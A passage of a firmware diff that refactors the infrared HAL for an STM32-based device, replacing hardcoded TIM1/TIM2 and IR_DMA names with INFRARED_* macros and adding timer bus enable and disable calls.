-21,13 +18,23 @@ (TIM_CCMR2_OC3PE | LL_TIM_OCMODE_FORCED_INACTIVE) /* Space time - force low */ /* DMA Channels definition */ -#define IR_DMA DMA2 -#define IR_DMA_CH1_CHANNEL LL_DMA_CHANNEL_1 -#define IR_DMA_CH2_CHANNEL LL_DMA_CHANNEL_2 -#define IR_DMA_CH1_IRQ FuriHalInterruptIdDma2Ch1 -#define IR_DMA_CH2_IRQ FuriHalInterruptIdDma2Ch2 -#define IR_DMA_CH1_DEF IR_DMA, IR_DMA_CH1_CHANNEL -#define IR_DMA_CH2_DEF IR_DMA, IR_DMA_CH2_CHANNEL +#define INFRARED_DMA DMA2 +#define INFRARED_DMA_CH1_CHANNEL LL_DMA_CHANNEL_1 +#define INFRARED_DMA_CH2_CHANNEL LL_DMA_CHANNEL_2 +#define INFRARED_DMA_CH1_IRQ FuriHalInterruptIdDma2Ch1 +#define INFRARED_DMA_CH2_IRQ FuriHalInterruptIdDma2Ch2 +#define INFRARED_DMA_CH1_DEF INFRARED_DMA, INFRARED_DMA_CH1_CHANNEL +#define INFRARED_DMA_CH2_DEF INFRARED_DMA, INFRARED_DMA_CH2_CHANNEL + +/* Timers definition */ +#define INFRARED_RX_TIMER TIM2 +#define INFRARED_DMA_TIMER TIM1 +#define INFRARED_RX_TIMER_BUS FuriHalBusTIM2 +#define INFRARED_DMA_TIMER_BUS FuriHalBusTIM1 + +/* Misc */ +#define INFRARED_RX_GPIO_ALT GpioAltFn1TIM2 +#define INFRARED_RX_IRQ FuriHalInterruptIdTIM2 typedef struct { FuriHalInfraredRxCaptureCallback capture_callback; @@ -94,8 +101,8 @@ static void furi_hal_infrared_tim_rx_isr() { static uint32_t previous_captured_ch2 = 0; /* Timeout */ - if(LL_TIM_IsActiveFlag_CC3(TIM2)) { - LL_TIM_ClearFlag_CC3(TIM2); + if(LL_TIM_IsActiveFlag_CC3(INFRARED_RX_TIMER)) { + LL_TIM_ClearFlag_CC3(INFRARED_RX_TIMER); furi_assert(furi_hal_infrared_state == InfraredStateAsyncRx); /* Timers CNT register starts to counting from 0 to ARR, but it is @@ -111,13 +118,13 @@ static void furi_hal_infrared_tim_rx_isr() { } /* Rising Edge */ - if(LL_TIM_IsActiveFlag_CC1(TIM2)) { - LL_TIM_ClearFlag_CC1(TIM2); + if(LL_TIM_IsActiveFlag_CC1(INFRARED_RX_TIMER)) { + LL_TIM_ClearFlag_CC1(INFRARED_RX_TIMER); furi_assert(furi_hal_infrared_state == InfraredStateAsyncRx); - if(READ_BIT(TIM2->CCMR1, TIM_CCMR1_CC1S)) { + if(READ_BIT(INFRARED_RX_TIMER->CCMR1, TIM_CCMR1_CC1S)) { /* Low pin level is a Mark state of INFRARED signal. Invert level for further processing. */ - uint32_t duration = LL_TIM_IC_GetCaptureCH1(TIM2) - previous_captured_ch2; + uint32_t duration = LL_TIM_IC_GetCaptureCH1(INFRARED_RX_TIMER) - previous_captured_ch2; if(infrared_tim_rx.capture_callback) infrared_tim_rx.capture_callback(infrared_tim_rx.capture_context, 1, duration); } else { @@ -126,13 +133,13 @@ static void furi_hal_infrared_tim_rx_isr() { } /* Falling Edge */ - if(LL_TIM_IsActiveFlag_CC2(TIM2)) { - LL_TIM_ClearFlag_CC2(TIM2); + if(LL_TIM_IsActiveFlag_CC2(INFRARED_RX_TIMER)) { + LL_TIM_ClearFlag_CC2(INFRARED_RX_TIMER); furi_assert(furi_hal_infrared_state == InfraredStateAsyncRx); - if(READ_BIT(TIM2->CCMR1, TIM_CCMR1_CC2S)) { + if(READ_BIT(INFRARED_RX_TIMER->CCMR1, TIM_CCMR1_CC2S)) { /* High pin level is a Space state of INFRARED signal. Invert level for further processing. */ - uint32_t duration = LL_TIM_IC_GetCaptureCH2(TIM2); + uint32_t duration = LL_TIM_IC_GetCaptureCH2(INFRARED_RX_TIMER); previous_captured_ch2 = duration; if(infrared_tim_rx.capture_callback) infrared_tim_rx.capture_callback(infrared_tim_rx.capture_context, 0, duration); @@ -146,62 +153,66 @@ void furi_hal_infrared_async_rx_start(void) { furi_assert(furi_hal_infrared_state == InfraredStateIdle); furi_hal_gpio_init_ex( - &gpio_infrared_rx, GpioModeAltFunctionPushPull, GpioPullNo, GpioSpeedLow, GpioAltFn1TIM2); + &gpio_infrared_rx, + GpioModeAltFunctionPushPull, + GpioPullNo, + GpioSpeedLow, + INFRARED_RX_GPIO_ALT); + + furi_hal_bus_enable(INFRARED_RX_TIMER_BUS); LL_TIM_InitTypeDef TIM_InitStruct = {0}; TIM_InitStruct.Prescaler = 64 - 1; TIM_InitStruct.CounterMode = LL_TIM_COUNTERMODE_UP; TIM_InitStruct.Autoreload = 0x7FFFFFFE; TIM_InitStruct.ClockDivision = LL_TIM_CLOCKDIVISION_DIV1; - LL_TIM_Init(TIM2, &TIM_InitStruct); + LL_TIM_Init(INFRARED_RX_TIMER, &TIM_InitStruct); - LL_TIM_SetClockSource(TIM2, LL_TIM_CLOCKSOURCE_INTERNAL); - LL_TIM_DisableARRPreload(TIM2); - LL_TIM_SetTriggerInput(TIM2, LL_TIM_TS_TI1FP1); - LL_TIM_SetSlaveMode(TIM2, LL_TIM_SLAVEMODE_RESET); - LL_TIM_CC_DisableChannel(TIM2, LL_TIM_CHANNEL_CH2); - LL_TIM_IC_SetFilter(TIM2, LL_TIM_CHANNEL_CH2, LL_TIM_IC_FILTER_FDIV1); - LL_TIM_IC_SetPolarity(TIM2, LL_TIM_CHANNEL_CH2, LL_TIM_IC_POLARITY_FALLING); - LL_TIM_DisableIT_TRIG(TIM2); - LL_TIM_DisableDMAReq_TRIG(TIM2); - LL_TIM_SetTriggerOutput(TIM2, LL_TIM_TRGO_RESET); - LL_TIM_EnableMasterSlaveMode(TIM2); - LL_TIM_IC_SetActiveInput(TIM2, LL_TIM_CHANNEL_CH1, LL_TIM_ACTIVEINPUT_DIRECTTI); - LL_TIM_IC_SetPrescaler(TIM2, LL_TIM_CHANNEL_CH1, LL_TIM_ICPSC_DIV1); - LL_TIM_IC_SetFilter(TIM2, LL_TIM_CHANNEL_CH1, LL_TIM_IC_FILTER_FDIV1); - LL_TIM_IC_SetPolarity(TIM2, LL_TIM_CHANNEL_CH1, LL_TIM_IC_POLARITY_RISING); - LL_TIM_IC_SetActiveInput(TIM2, LL_TIM_CHANNEL_CH2, LL_TIM_ACTIVEINPUT_INDIRECTTI); - LL_TIM_IC_SetPrescaler(TIM2, LL_TIM_CHANNEL_CH2, LL_TIM_ICPSC_DIV1); + LL_TIM_SetClockSource(INFRARED_RX_TIMER, LL_TIM_CLOCKSOURCE_INTERNAL); + LL_TIM_DisableARRPreload(INFRARED_RX_TIMER); + LL_TIM_SetTriggerInput(INFRARED_RX_TIMER, LL_TIM_TS_TI1FP1); + LL_TIM_SetSlaveMode(INFRARED_RX_TIMER, LL_TIM_SLAVEMODE_RESET); + LL_TIM_CC_DisableChannel(INFRARED_RX_TIMER, LL_TIM_CHANNEL_CH2); + LL_TIM_IC_SetFilter(INFRARED_RX_TIMER, LL_TIM_CHANNEL_CH2, LL_TIM_IC_FILTER_FDIV1); + LL_TIM_IC_SetPolarity(INFRARED_RX_TIMER, LL_TIM_CHANNEL_CH2, LL_TIM_IC_POLARITY_FALLING); + LL_TIM_DisableIT_TRIG(INFRARED_RX_TIMER); + LL_TIM_DisableDMAReq_TRIG(INFRARED_RX_TIMER); + LL_TIM_SetTriggerOutput(INFRARED_RX_TIMER, LL_TIM_TRGO_RESET); + LL_TIM_EnableMasterSlaveMode(INFRARED_RX_TIMER); + LL_TIM_IC_SetActiveInput(INFRARED_RX_TIMER, LL_TIM_CHANNEL_CH1, LL_TIM_ACTIVEINPUT_DIRECTTI); + LL_TIM_IC_SetPrescaler(INFRARED_RX_TIMER, LL_TIM_CHANNEL_CH1, LL_TIM_ICPSC_DIV1); + LL_TIM_IC_SetFilter(INFRARED_RX_TIMER, LL_TIM_CHANNEL_CH1, LL_TIM_IC_FILTER_FDIV1); + LL_TIM_IC_SetPolarity(INFRARED_RX_TIMER, LL_TIM_CHANNEL_CH1, LL_TIM_IC_POLARITY_RISING); + LL_TIM_IC_SetActiveInput(INFRARED_RX_TIMER, LL_TIM_CHANNEL_CH2, LL_TIM_ACTIVEINPUT_INDIRECTTI); + LL_TIM_IC_SetPrescaler(INFRARED_RX_TIMER, LL_TIM_CHANNEL_CH2, LL_TIM_ICPSC_DIV1); - furi_hal_interrupt_set_isr(FuriHalInterruptIdTIM2, furi_hal_infrared_tim_rx_isr, NULL); + furi_hal_interrupt_set_isr(INFRARED_RX_IRQ, furi_hal_infrared_tim_rx_isr, NULL); furi_hal_infrared_state = InfraredStateAsyncRx; - LL_TIM_EnableIT_CC1(TIM2); - LL_TIM_EnableIT_CC2(TIM2); - LL_TIM_CC_EnableChannel(TIM2, LL_TIM_CHANNEL_CH1); - LL_TIM_CC_EnableChannel(TIM2, LL_TIM_CHANNEL_CH2); + LL_TIM_EnableIT_CC1(INFRARED_RX_TIMER); + LL_TIM_EnableIT_CC2(INFRARED_RX_TIMER); + LL_TIM_CC_EnableChannel(INFRARED_RX_TIMER, LL_TIM_CHANNEL_CH1); + LL_TIM_CC_EnableChannel(INFRARED_RX_TIMER, LL_TIM_CHANNEL_CH2); - LL_TIM_SetCounter(TIM2, 0); - LL_TIM_EnableCounter(TIM2); + LL_TIM_SetCounter(INFRARED_RX_TIMER, 0); + LL_TIM_EnableCounter(INFRARED_RX_TIMER); } void furi_hal_infrared_async_rx_stop(void) { furi_assert(furi_hal_infrared_state == InfraredStateAsyncRx); FURI_CRITICAL_ENTER(); - - LL_TIM_DeInit(TIM2); - furi_hal_interrupt_set_isr(FuriHalInterruptIdTIM2, NULL, NULL); + furi_hal_bus_disable(INFRARED_RX_TIMER_BUS); + furi_hal_interrupt_set_isr(INFRARED_RX_IRQ, NULL, NULL); furi_hal_infrared_state = InfraredStateIdle; - FURI_CRITICAL_EXIT(); } void furi_hal_infrared_async_rx_set_timeout(uint32_t timeout_us) { - LL_TIM_OC_SetCompareCH3(TIM2, timeout_us); - LL_TIM_OC_SetMode(TIM2, LL_TIM_CHANNEL_CH3, LL_TIM_OCMODE_ACTIVE); - LL_TIM_CC_EnableChannel(TIM2, LL_TIM_CHANNEL_CH3); - LL_TIM_EnableIT_CC3(TIM2); + LL_TIM_OC_SetCompareCH3(INFRARED_RX_TIMER, timeout_us); + LL_TIM_OC_SetMode(INFRARED_RX_TIMER, LL_TIM_CHANNEL_CH3, LL_TIM_OCMODE_ACTIVE); + LL_TIM_CC_EnableChannel(INFRARED_RX_TIMER, LL_TIM_CHANNEL_CH3); + LL_TIM_EnableIT_CC3(INFRARED_RX_TIMER); } bool furi_hal_infrared_is_busy(void) { @@ -223,16 +234,16 @@ void furi_hal_infrared_async_rx_set_timeout_isr_callback( } static void furi_hal_infrared_tx_dma_terminate(void) { - LL_DMA_DisableIT_TC(IR_DMA_CH1_DEF); - LL_DMA_DisableIT_HT(IR_DMA_CH2_DEF); - LL_DMA_DisableIT_TC(IR_DMA_CH2_DEF); + LL_DMA_DisableIT_TC(INFRARED_DMA_CH1_DEF); + LL_DMA_DisableIT_HT(INFRARED_DMA_CH2_DEF); + LL_DMA_DisableIT_TC(INFRARED_DMA_CH2_DEF); furi_assert(furi_hal_infrared_state == InfraredStateAsyncTxStopInProgress); - LL_DMA_DisableIT_TC(IR_DMA_CH1_DEF); - LL_DMA_DisableChannel(IR_DMA_CH2_DEF); - LL_DMA_DisableChannel(IR_DMA_CH1_DEF); - LL_TIM_DisableCounter(TIM1); + LL_DMA_DisableIT_TC(INFRARED_DMA_CH1_DEF); + LL_DMA_DisableChannel(INFRARED_DMA_CH2_DEF); + LL_DMA_DisableChannel(INFRARED_DMA_CH1_DEF); + LL_TIM_DisableCounter(INFRARED_DMA_TIMER); FuriStatus status = furi_semaphore_release(infrared_tim_tx.stop_semaphore); furi_check(status == FuriStatusOk); furi_hal_infrared_state = InfraredStateAsyncTxStopped; @@ -240,7 +251,7 @@ static void furi_hal_infrared_tx_dma_terminate(void) { static uint8_t furi_hal_infrared_get_current_dma_tx_buffer(void) { uint8_t buf_num = 0; - uint32_t buffer_adr = LL_DMA_GetMemoryAddress(IR_DMA_CH2_DEF); + uint32_t buffer_adr = LL_DMA_GetMemoryAddress(INFRARED_DMA_CH2_DEF); if(buffer_adr == (uint32_t)infrared_tim_tx.buffer[0].data) { buf_num = 0; } else if(buffer_adr == (uint32_t)infrared_tim_tx.buffer[1].data) { @@ -252,13 +263,13 @@ static uint8_t furi_hal_infrared_get_current_dma_tx_buffer(void) { } static void furi_hal_infrared_tx_dma_polarity_isr() { -#if IR_DMA_CH1_CHANNEL == LL_DMA_CHANNEL_1 - if(LL_DMA_IsActiveFlag_TE1(IR_DMA)) { - LL_DMA_ClearFlag_TE1(IR_DMA); +#if INFRARED_DMA_CH1_CHANNEL == LL_DMA_CHANNEL_1 + if(LL_DMA_IsActiveFlag_TE1(INFRARED_DMA)) { + LL_DMA_ClearFlag_TE1(INFRARED_DMA); furi_crash(NULL); } - if(LL_DMA_IsActiveFlag_TC1(IR_DMA) && LL_DMA_IsEnabledIT_TC(IR_DMA_CH1_DEF)) { - LL_DMA_ClearFlag_TC1(IR_DMA); + if(LL_DMA_IsActiveFlag_TC1(INFRARED_DMA) && LL_DMA_IsEnabledIT_TC(INFRARED_DMA_CH1_DEF)) { + LL_DMA_ClearFlag_TC1(INFRARED_DMA); furi_check( (furi_hal_infrared_state == InfraredStateAsyncTx) || @@ -274,23 +285,23 @@ static void furi_hal_infrared_tx_dma_polarity_isr() { } static void furi_hal_infrared_tx_dma_isr() { -#if IR_DMA_CH2_CHANNEL == LL_DMA_CHANNEL_2 - if(LL_DMA_IsActiveFlag_TE2(IR_DMA)) { - LL_DMA_ClearFlag_TE2(IR_DMA); +#if INFRARED_DMA_CH2_CHANNEL == LL_DMA_CHANNEL_2 + if(LL_DMA_IsActiveFlag_TE2(INFRARED_DMA)) { + LL_DMA_ClearFlag_TE2(INFRARED_DMA); furi_crash(NULL); } - if(LL_DMA_IsActiveFlag_HT2(IR_DMA) && LL_DMA_IsEnabledIT_HT(IR_DMA_CH2_DEF)) { - LL_DMA_ClearFlag_HT2(IR_DMA); + if(LL_DMA_IsActiveFlag_HT2(INFRARED_DMA) && LL_DMA_IsEnabledIT_HT(INFRARED_DMA_CH2_DEF)) { + LL_DMA_ClearFlag_HT2(INFRARED_DMA); uint8_t buf_num = furi_hal_infrared_get_current_dma_tx_buffer(); uint8_t next_buf_num = !buf_num; if(infrared_tim_tx.buffer[buf_num].last_packet_end) { - LL_DMA_DisableIT_HT(IR_DMA_CH2_DEF); + LL_DMA_DisableIT_HT(INFRARED_DMA_CH2_DEF); } else if( !infrared_tim_tx.buffer[buf_num].packet_end || (furi_hal_infrared_state == InfraredStateAsyncTx)) { furi_hal_infrared_tx_fill_buffer(next_buf_num, 0); if(infrared_tim_tx.buffer[next_buf_num].last_packet_end) { - LL_DMA_DisableIT_HT(IR_DMA_CH2_DEF); + LL_DMA_DisableIT_HT(INFRARED_DMA_CH2_DEF); } } else if(furi_hal_infrared_state == InfraredStateAsyncTxStopReq) { /* fallthrough */ @@ -298,8 +309,8 @@ static void furi_hal_infrared_tx_dma_isr() { furi_crash(NULL); } } - if(LL_DMA_IsActiveFlag_TC2(IR_DMA) && LL_DMA_IsEnabledIT_TC(IR_DMA_CH2_DEF)) { - LL_DMA_ClearFlag_TC2(IR_DMA); + if(LL_DMA_IsActiveFlag_TC2(INFRARED_DMA) && LL_DMA_IsEnabledIT_TC(INFRARED_DMA_CH2_DEF)) { + LL_DMA_ClearFlag_TC2(INFRARED_DMA); furi_check( (furi_hal_infrared_state == InfraredStateAsyncTxStopInProgress) || (furi_hal_infrared_state == InfraredStateAsyncTxStopReq) || @@ -331,37 +342,42 @@ static void furi_hal_infrared_tx_dma_isr() { } static void furi_hal_infrared_configure_tim_pwm_tx(uint32_t freq, float duty_cycle) { - LL_TIM_DisableCounter(TIM1); - LL_TIM_SetRepetitionCounter(TIM1, 0); - LL_TIM_SetCounter(TIM1, 0); - LL_TIM_SetPrescaler(TIM1, 0); - LL_TIM_SetCounterMode(TIM1, LL_TIM_COUNTERMODE_UP); - LL_TIM_EnableARRPreload(TIM1); + LL_TIM_DisableCounter(INFRARED_DMA_TIMER); + LL_TIM_SetRepetitionCounter(INFRARED_DMA_TIMER, 0); + LL_TIM_SetCounter(INFRARED_DMA_TIMER, 0); + LL_TIM_SetPrescaler(INFRARED_DMA_TIMER, 0); + LL_TIM_SetCounterMode(INFRARED_DMA_TIMER, LL_TIM_COUNTERMODE_UP); + LL_TIM_EnableARRPreload(INFRARED_DMA_TIMER); LL_TIM_SetAutoReload( - TIM1, __LL_TIM_CALC_ARR(SystemCoreClock, LL_TIM_GetPrescaler(TIM1), freq)); + INFRARED_DMA_TIMER, + __LL_TIM_CALC_ARR(SystemCoreClock, LL_TIM_GetPrescaler(INFRARED_DMA_TIMER), freq)); if(infrared_external_output) { - LL_TIM_OC_SetCompareCH1(TIM1, ((LL_TIM_GetAutoReload(TIM1) + 1) * (1 - duty_cycle))); - LL_TIM_OC_EnablePreload(TIM1, LL_TIM_CHANNEL_CH1); + LL_TIM_OC_SetCompareCH1( + INFRARED_DMA_TIMER, + ((LL_TIM_GetAutoReload(INFRARED_DMA_TIMER) + 1) * (1 - duty_cycle))); + LL_TIM_OC_EnablePreload(INFRARED_DMA_TIMER, LL_TIM_CHANNEL_CH1); /* LL_TIM_OCMODE_PWM2 set by DMA */ - LL_TIM_OC_SetMode(TIM1, LL_TIM_CHANNEL_CH1, LL_TIM_OCMODE_FORCED_INACTIVE); - LL_TIM_OC_SetPolarity(TIM1, LL_TIM_CHANNEL_CH1N, LL_TIM_OCPOLARITY_HIGH); - LL_TIM_OC_DisableFast(TIM1, LL_TIM_CHANNEL_CH1); - LL_TIM_CC_EnableChannel(TIM1, LL_TIM_CHANNEL_CH1N); - LL_TIM_DisableIT_CC1(TIM1); + LL_TIM_OC_SetMode(INFRARED_DMA_TIMER, LL_TIM_CHANNEL_CH1, LL_TIM_OCMODE_FORCED_INACTIVE); + LL_TIM_OC_SetPolarity(INFRARED_DMA_TIMER, LL_TIM_CHANNEL_CH1N, LL_TIM_OCPOLARITY_HIGH); + LL_TIM_OC_DisableFast(INFRARED_DMA_TIMER, LL_TIM_CHANNEL_CH1); + LL_TIM_CC_EnableChannel(INFRARED_DMA_TIMER, LL_TIM_CHANNEL_CH1N); + LL_TIM_DisableIT_CC1(INFRARED_DMA_TIMER); } else { - LL_TIM_OC_SetCompareCH3(TIM1, ((LL_TIM_GetAutoReload(TIM1) + 1) * (1 - duty_cycle))); - LL_TIM_OC_EnablePreload(TIM1, LL_TIM_CHANNEL_CH3); + LL_TIM_OC_SetCompareCH3( + INFRARED_DMA_TIMER, + ((LL_TIM_GetAutoReload(INFRARED_DMA_TIMER) + 1) * (1 - duty_cycle))); + LL_TIM_OC_EnablePreload(INFRARED_DMA_TIMER, LL_TIM_CHANNEL_CH3); /* LL_TIM_OCMODE_PWM2 set by DMA */ - LL_TIM_OC_SetMode(TIM1, LL_TIM_CHANNEL_CH3, LL_TIM_OCMODE_FORCED_INACTIVE); - LL_TIM_OC_SetPolarity(TIM1, LL_TIM_CHANNEL_CH3N, LL_TIM_OCPOLARITY_HIGH); - LL_TIM_OC_DisableFast(TIM1, LL_TIM_CHANNEL_CH3); - LL_TIM_CC_EnableChannel(TIM1, LL_TIM_CHANNEL_CH3N); - LL_TIM_DisableIT_CC3(TIM1); + LL_TIM_OC_SetMode(INFRARED_DMA_TIMER, LL_TIM_CHANNEL_CH3, LL_TIM_OCMODE_FORCED_INACTIVE); + LL_TIM_OC_SetPolarity(INFRARED_DMA_TIMER, LL_TIM_CHANNEL_CH3N, LL_TIM_OCPOLARITY_HIGH); + LL_TIM_OC_DisableFast(INFRARED_DMA_TIMER, LL_TIM_CHANNEL_CH3); + LL_TIM_CC_EnableChannel(INFRARED_DMA_TIMER, LL_TIM_CHANNEL_CH3N); + LL_TIM_DisableIT_CC3(INFRARED_DMA_TIMER); } - LL_TIM_DisableMasterSlaveMode(TIM1); - LL_TIM_EnableAllOutputs(TIM1); - LL_TIM_DisableIT_UPDATE(TIM1); - LL_TIM_EnableDMAReq_UPDATE(TIM1); + LL_TIM_DisableMasterSlaveMode(INFRARED_DMA_TIMER); + LL_TIM_EnableAllOutputs(INFRARED_DMA_TIMER); + LL_TIM_DisableIT_UPDATE(INFRARED_DMA_TIMER); + LL_TIM_EnableDMAReq_UPDATE(INFRARED_DMA_TIMER); NVIC_SetPriority(TIM1_UP_TIM16_IRQn, NVIC_EncodePriority(NVIC_GetPriorityGrouping(), 5, 0)); NVIC_EnableIRQ(TIM1_UP_TIM16_IRQn); @@ -370,9 +386,9 @@ static void furi_hal_infrared_configure_tim_pwm_tx(uint32_t freq, float duty_cyc static void furi_hal_infrared_configure_tim_cmgr2_dma_tx(void) { LL_DMA_InitTypeDef dma_config = {0}; if(infrared_external_output) { - dma_config.PeriphOrM2MSrcAddress = (uint32_t) & (TIM1->CCMR1); + dma_config.PeriphOrM2MSrcAddress = (uint32_t) & (INFRARED_DMA_TIMER->CCMR1); } else { - dma_config.PeriphOrM2MSrcAddress = (uint32_t) & (TIM1->CCMR2); + dma_config.PeriphOrM2MSrcAddress = (uint32_t) & (INFRARED_DMA_TIMER->CCMR2); } dma_config.MemoryOrM2MDstAddress = (uint32_t)NULL; dma_config.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; @@ -385,24 +401,25 @@ static void furi_hal_infrared_configure_tim_cmgr2_dma_tx(void) { dma_config.NbData = 0; dma_config.PeriphRequest = LL_DMAMUX_REQ_TIM1_UP; dma_config.Priority = LL_DMA_PRIORITY_VERYHIGH; - LL_DMA_Init(IR_DMA_CH1_DEF, &dma_config); + LL_DMA_Init(INFRARED_DMA_CH1_DEF, &dma_config); -#if IR_DMA_CH1_CHANNEL == LL_DMA_CHANNEL_1 - LL_DMA_ClearFlag_TE1(IR_DMA); - LL_DMA_ClearFlag_TC1(IR_DMA); +#if INFRARED_DMA_CH1_CHANNEL == LL_DMA_CHANNEL_1 + LL_DMA_ClearFlag_TE1(INFRARED_DMA); + LL_DMA_ClearFlag_TC1(INFRARED_DMA); #else #error Update this code. Would you kindly? #endif - LL_DMA_EnableIT_TE(IR_DMA_CH1_DEF); - LL_DMA_EnableIT_TC(IR_DMA_CH1_DEF); + LL_DMA_EnableIT_TE(INFRARED_DMA_CH1_DEF); + LL_DMA_EnableIT_TC(INFRARED_DMA_CH1_DEF); - furi_hal_interrupt_set_isr_ex(IR_DMA_CH1_IRQ, 4, furi_hal_infrared_tx_dma_polarity_isr, NULL); + furi_hal_interrupt_set_isr_ex( + INFRARED_DMA_CH1_IRQ, 4, furi_hal_infrared_tx_dma_polarity_isr, NULL); } static void furi_hal_infrared_configure_tim_rcr_dma_tx(void) { LL_DMA_InitTypeDef dma_config = {0}; - dma_config.PeriphOrM2MSrcAddress = (uint32_t) & (TIM1->RCR); + dma_config.PeriphOrM2MSrcAddress = (uint32_t) & (INFRARED_DMA_TIMER->RCR); dma_config.MemoryOrM2MDstAddress = (uint32_t)NULL; dma_config.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; dma_config.Mode = LL_DMA_MODE_NORMAL; @@ -413,21 +430,21 @@ static void furi_hal_infrared_configure_tim_rcr_dma_tx(void) { dma_config.NbData = 0; dma_config.PeriphRequest = LL_DMAMUX_REQ_TIM1_UP; dma_config.Priority = LL_DMA_PRIORITY_MEDIUM; - LL_DMA_Init(IR_DMA_CH2_DEF, &dma_config); + LL_DMA_Init(INFRARED_DMA_CH2_DEF, &dma_config); -#if IR_DMA_CH2_CHANNEL == LL_DMA_CHANNEL_2 - LL_DMA_ClearFlag_TC2(IR_DMA); - LL_DMA_ClearFlag_HT2(IR_DMA); - LL_DMA_ClearFlag_TE2(IR_DMA); +#if INFRARED_DMA_CH2_CHANNEL == LL_DMA_CHANNEL_2 + LL_DMA_ClearFlag_TC2(INFRARED_DMA); + LL_DMA_ClearFlag_HT2(INFRARED_DMA); + LL_DMA_ClearFlag_TE2(INFRARED_DMA); #else #error Update this code. Would you kindly? #endif - LL_DMA_EnableIT_TC(IR_DMA_CH2_DEF); - LL_DMA_EnableIT_HT(IR_DMA_CH2_DEF); - LL_DMA_EnableIT_TE(IR_DMA_CH2_DEF); + LL_DMA_EnableIT_TC(INFRARED_DMA_CH2_DEF); + LL_DMA_EnableIT_HT(INFRARED_DMA_CH2_DEF); + LL_DMA_EnableIT_TE(INFRARED_DMA_CH2_DEF); - furi_hal_interrupt_set_isr_ex(IR_DMA_CH2_IRQ, 5, furi_hal_infrared_tx_dma_isr, NULL); + furi_hal_interrupt_set_isr_ex(INFRARED_DMA_CH2_IRQ, 5, furi_hal_infrared_tx_dma_isr, NULL); } static void furi_hal_infrared_tx_fill_buffer_last(uint8_t buf_num) { @@ -529,14 +546,14 @@ static void furi_hal_infrared_tx_dma_set_polarity(uint8_t buf_num, uint8_t polar furi_assert(buffer->polarity != NULL); FURI_CRITICAL_ENTER(); - bool channel_enabled = LL_DMA_IsEnabledChannel(IR_DMA_CH1_DEF); + bool channel_enabled = LL_DMA_IsEnabledChannel(INFRARED_DMA_CH1_DEF); if(channel_enabled) { - LL_DMA_DisableChannel(IR_DMA_CH1_DEF); + LL_DMA_DisableChannel(INFRARED_DMA_CH1_DEF); } - LL_DMA_SetMemoryAddress(IR_DMA_CH1_DEF, (uint32_t)buffer->polarity); - LL_DMA_SetDataLength(IR_DMA_CH1_DEF, buffer->size + polarity_shift); + LL_DMA_SetMemoryAddress(INFRARED_DMA_CH1_DEF, (uint32_t)buffer->polarity); + LL_DMA_SetDataLength(INFRARED_DMA_CH1_DEF, buffer->size + polarity_shift); if(channel_enabled) { - LL_DMA_EnableChannel(IR_DMA_CH1_DEF); + LL_DMA_EnableChannel(INFRARED_DMA_CH1_DEF); } FURI_CRITICAL_EXIT(); } @@ -549,14 +566,14 @@ static void furi_hal_infrared_tx_dma_set_buffer(uint8_t buf_num) { /* non-circular mode requires disabled channel before setup */ FURI_CRITICAL_ENTER(); - bool channel_enabled = LL_DMA_IsEnabledChannel(IR_DMA_CH2_DEF); + bool channel_enabled = LL_DMA_IsEnabledChannel(INFRARED_DMA_CH2_DEF); if(channel_enabled) { - LL_DMA_DisableChannel(IR_DMA_CH2_DEF); + LL_DMA_DisableChannel(INFRARED_DMA_CH2_DEF); } - LL_DMA_SetMemoryAddress(IR_DMA_CH2_DEF, (uint32_t)buffer->data); - LL_DMA_SetDataLength(IR_DMA_CH2_DEF, buffer->size); + LL_DMA_SetMemoryAddress(INFRARED_DMA_CH2_DEF, (uint32_t)buffer->data); + LL_DMA_SetDataLength(INFRARED_DMA_CH2_DEF, buffer->size); if(channel_enabled) { - LL_DMA_EnableChannel(IR_DMA_CH2_DEF); + LL_DMA_EnableChannel(INFRARED_DMA_CH2_DEF); } FURI_CRITICAL_EXIT(); } @@ -570,10 +587,10 @@ static void furi_hal_infrared_async_tx_free_resources(void) { furi_hal_gpio_init(&gpio_ext_pa7, GpioModeAnalog, GpioPullDown, GpioSpeedLow); } else { furi_hal_gpio_init(&gpio_infrared_tx, GpioModeAnalog, GpioPullDown, GpioSpeedLow); - } - furi_hal_interrupt_set_isr(IR_DMA_CH1_IRQ, NULL, NULL); - furi_hal_interrupt_set_isr(IR_DMA_CH2_IRQ, NULL, NULL); - LL_TIM_DeInit(TIM1); + furi_hal_interrupt_set_isr(INFRARED_DMA_CH1_IRQ, NULL, NULL); + furi_hal_interrupt_set_isr(INFRARED_DMA_CH2_IRQ, NULL, NULL); + + furi_hal_bus_disable(INFRARED_DMA_TIMER_BUS); furi_semaphore_free(infrared_tim_tx.stop_semaphore); free(infrared_tim_tx.buffer[0].data); @@ -614,6 +631,8 @@ void furi_hal_infrared_async_tx_start(uint32_t freq, float duty_cycle) { furi_hal_infrared_tx_fill_buffer(0, INFRARED_POLARITY_SHIFT); + furi_hal_bus_enable(INFRARED_DMA_TIMER_BUS); + furi_hal_infrared_configure_tim_pwm_tx(freq, duty_cycle); furi_hal_infrared_configure_tim_cmgr2_dma_tx(); furi_hal_infrared_configure_tim_rcr_dma_tx(); @@ -622,11 +641,11 @@ void furi_hal_infrared_async_tx_start(uint32_t freq, float duty_cycle) { furi_hal_infrared_state = InfraredStateAsyncTx; - LL_TIM_ClearFlag_UPDATE(TIM1); - LL_DMA_EnableChannel(IR_DMA_CH1_DEF); - LL_DMA_EnableChannel(IR_DMA_CH2_DEF); + LL_TIM_ClearFlag_UPDATE(INFRARED_DMA_TIMER); + LL_DMA_EnableChannel(INFRARED_DMA_CH1_DEF); + LL_DMA_EnableChannel(INFRARED_DMA_CH2_DEF); furi_delay_us(5); - LL_TIM_GenerateEvent_UPDATE(TIM1); /* DMA -> TIMx_RCR */ + LL_TIM_GenerateEvent_UPDATE(INFRARED_DMA_TIMER); /* DMA -> TIMx_RCR */ furi_delay_us(5); if(infrared_external_output) { LL_GPIO_ResetOutputPin( @@ -646,8 +665,8 @@ void furi_hal_infrared_async_tx_start(uint32_t freq, float duty_cycle) { } FURI_CRITICAL_ENTER(); - LL_TIM_GenerateEvent_UPDATE(TIM1); /* TIMx_RCR -> Repetition counter */ - LL_TIM_EnableCounter(TIM1); + LL_TIM_GenerateEvent_UPDATE(INFRARED_DMA_TIMER); /* TIMx_RCR -> Repetition counter */ + LL_TIM_EnableCounter(INFRARED_DMA_TIMER); FURI_CRITICAL_EXIT(); } diff --git a/firmware/targets/f7/furi_hal/furi_hal_subghz.c b/firmware/targets/f7/furi_hal/furi_hal_subghz.c index 